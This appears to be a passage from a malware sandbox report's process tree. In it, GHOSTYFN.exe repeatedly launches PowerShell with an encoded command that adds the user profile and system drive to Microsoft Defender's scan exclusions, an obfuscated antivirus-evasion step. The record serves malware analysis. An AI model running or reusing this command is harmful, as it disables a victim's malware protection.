        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        147⤵
        
        PID:7228
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        147⤵
        
        PID:640
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        148⤵
        
        PID:3908
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        148⤵
        
        PID:6752
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        149⤵
        
        PID:3700
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        149⤵
        
        PID:3408
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        150⤵
        
        PID:7516
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        150⤵
        
        PID:7764
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        151⤵
        
        PID:10012
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        151⤵
        
        PID:7952
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        152⤵
        
        PID:8560
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        152⤵
        
        PID:1372
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        153⤵
        
        PID:8108
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        153⤵
        
        PID:6256
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        154⤵
        
        PID:9116
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        154⤵
        
        PID:7348
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        155⤵
        
        PID:9904
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        155⤵
        
        PID:8788
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        156⤵
        
        PID:9308
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        156⤵
        
        PID:9480
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        157⤵
        
        PID:6864
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        157⤵
        
        PID:9352
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        158⤵
        
        PID:1240
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        158⤵
        
        PID:8736
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        159⤵
        
        PID:8168
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        159⤵
        
        PID:1748
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        160⤵
        
        PID:8208
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        160⤵
        
        PID:6804
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        161⤵
        
        PID:4744
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        161⤵
        
        PID:9500
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        162⤵
        
        PID:9564
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        162⤵
        
        PID:5692
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        163⤵
        
        PID:2464
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        163⤵
        
        PID:6296
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        164⤵
        
        PID:9784
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        164⤵
        
        PID:8340
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        165⤵
        
        PID:1276
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        165⤵
        
        PID:9512
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        166⤵
        
        PID:2748
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        166⤵
        
        PID:2392
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        167⤵
        
        PID:2444
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        167⤵
        
        PID:5192
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        168⤵
        
        PID:7332
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        168⤵
        
        PID:6256
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        169⤵
        
        PID:3784
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        169⤵
        
        PID:2532
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        170⤵
        
        PID:8884
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        170⤵
        
        PID:2988
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        171⤵
        
        PID:8452
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        171⤵
        
        PID:9248
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        172⤵
        
        PID:7448
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        172⤵
        
        PID:9432
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        173⤵
        
        PID:4280
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        173⤵
        
        PID:5464
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        174⤵
        
        PID:396
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        174⤵
        
        PID:7104
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        175⤵
        
        PID:6464
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        175⤵
        
        PID:4992
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        176⤵
        
        PID:10124
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        176⤵
        
        PID:6592
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        177⤵
        
        PID:6564
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        177⤵
        
        PID:772
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        178⤵
        
        PID:5156
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        178⤵
        
        PID:2416
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
